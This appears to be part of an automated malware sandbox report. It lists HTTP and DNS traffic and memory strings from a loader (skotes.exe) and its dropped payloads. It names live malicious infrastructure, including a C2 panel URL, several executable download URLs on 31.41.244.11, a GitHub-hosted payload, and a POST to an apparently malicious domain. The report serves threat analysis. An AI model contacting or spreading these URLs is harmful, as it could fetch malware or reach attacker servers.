Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1734621080502&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ad598eb1f7094426a29abe140e5df5c4&activityId=ad598eb1f7094426a29abe140e5df5c4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=8C1ADDD060D548A5BBAB4674CA3E57F4&MUID=09B6C4049C2967923623D15E9D006621 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09B6C4049C2967923623D15E9D006621; _EDGE_S=F=1&SID=14B2A23A8ED76C5327E7B7608F9C6D59; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/6151862750/NN9Dd7c.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/wicked/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/1293295511/ga70pjP.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /hLfzXsaqNtoEGyaUtOMJ1734514745?argument=Uaaqq3t3q8SekfGs1734621065 HTTP/1.1Host: home.fivetk5vt.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/lolz/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: hulkpara.xyz
Source: global traffic	DNS traffic detected: DNS query: gips620.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cheapptaxysu.click
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fivetk5vt.top
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: fivetk5vt.top
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----C2VKNO8Q1DJM7YUS2VS2User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: hulkpara.xyzContent-Length: 255Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 19 Dec 2024 15:10:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BjfiL2kFbuprHD28rRzyhRJpNsKM065oQDN9zxi%2BvxHPJWJZa28ezewKVIpR42gCTiQxm3EezTMSPnSJi1a0UweUW1cEbEXl421eUfGZLgETJDJj7WcPPPyKpFDEAMWeslNli3g%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f48527cddc542f1-EWR

Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3565466179.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php686001
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpY
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/I3
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1293295511/ga70pjP.exe
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1293295511/ga70pjP.exeYS6
Source: skotes.exe, 00000006.00000002.3565466179.000000000117B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3565466179.00000000011CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6151862750/NN9Dd7c.exe
Source: skotes.exe, 00000006.00000002.3565466179.00000000011CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6151862750/NN9Dd7c.exe0
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exePp;
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/lolz/random.exe
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/lolz/random.execoded
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exeL
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exet_
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe4
Source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3664993420.0000000012DCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 0000000D.00000002.2881719271.0000000007D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000006.00000002.3565466179.000000000125F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.3565466179.000000000125F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3153317566.0000019A5C6FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: svchost.exe, 00000010.00000002.3569754064.00000206DE200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3664993420.0000000012DCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3664993420.0000000012DCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000002.3565466179.000000000125F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3565466179.000000000125F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FEEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/StoreAppList.Light.png
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FEEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/StoreLogo.Light.png
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A400CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/Theme/Light.xaml
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A400CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/app.Light.ico
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FFE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://e12564.dspb.akamaiedge.net
Source: svchost.exe, 00000010.00000003.2866246896.00000206DE110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FEEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Resources/StoreAppList.Light.png
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FEEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Resources/StoreLogo.Light.png
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A400CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Resources/app.Light.ico
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A400CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/resources/app.light.ico
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FEEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/resources/storeapplist.light.png
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FEEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/resources/storelogo.light.png
Source: NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002A2C000.00000004.00000800.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002A1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002A2C000.00000004.00000800.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002A1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.comd
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ17
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3154327190.0000019A5C738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.coA
Source: powershell.exe, 0000000A.00000002.2821466785.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2872344764.0000000005275000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3664993420.0000000012DCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: 54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000002.3565466179.000000000125F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 0000000D.00000002.2850054872.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.comd
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FE6F000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A4019E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FE6F000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A4019E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FE6F000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A4019E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FE6F000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A4019E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/StoreInstaller.Models
Source: powershell.exe, 0000000A.00000002.2818597938.0000000004C95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2850054872.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002971000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2818597938.0000000004B41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2850054872.0000000004211000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FEEB000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3572647696.0000000001720000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3565111200.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.2818597938.0000000004C95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2850054872.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 91f4c82194.exe, 0000002B.00000000.3362002215.0000000000423000.00000002.00000001.01000000.00000029.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: rundll32.exe, 0000001C.00000003.3048123948.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000003.3047650336.0000000004449000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000003.3047650336.00000000044B8000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.WindowsInstaller.Package.dll.28.dr	String found in binary or memory: http://wixtoolset.org/Whttp://wixtoolset.org/telemetry/v
Source: rundll32.exe, 0000001C.00000003.3048123948.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000003.3047650336.0000000004449000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000003.3047650336.00000000044B8000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.WindowsInstaller.Package.dll.28.dr	String found in binary or memory: http://wixtoolset.org/news/
Source: rundll32.exe, 0000001C.00000003.3048123948.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000003.3047650336.0000000004449000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000003.3047650336.00000000044B8000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.WindowsInstaller.Package.dll.28.dr	String found in binary or memory: http://wixtoolset.org/releases/
Source: powershell.exe, 0000000D.00000002.2850054872.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3664993420.0000000012DCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FE6F000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A4019E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.oh
Source: 54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
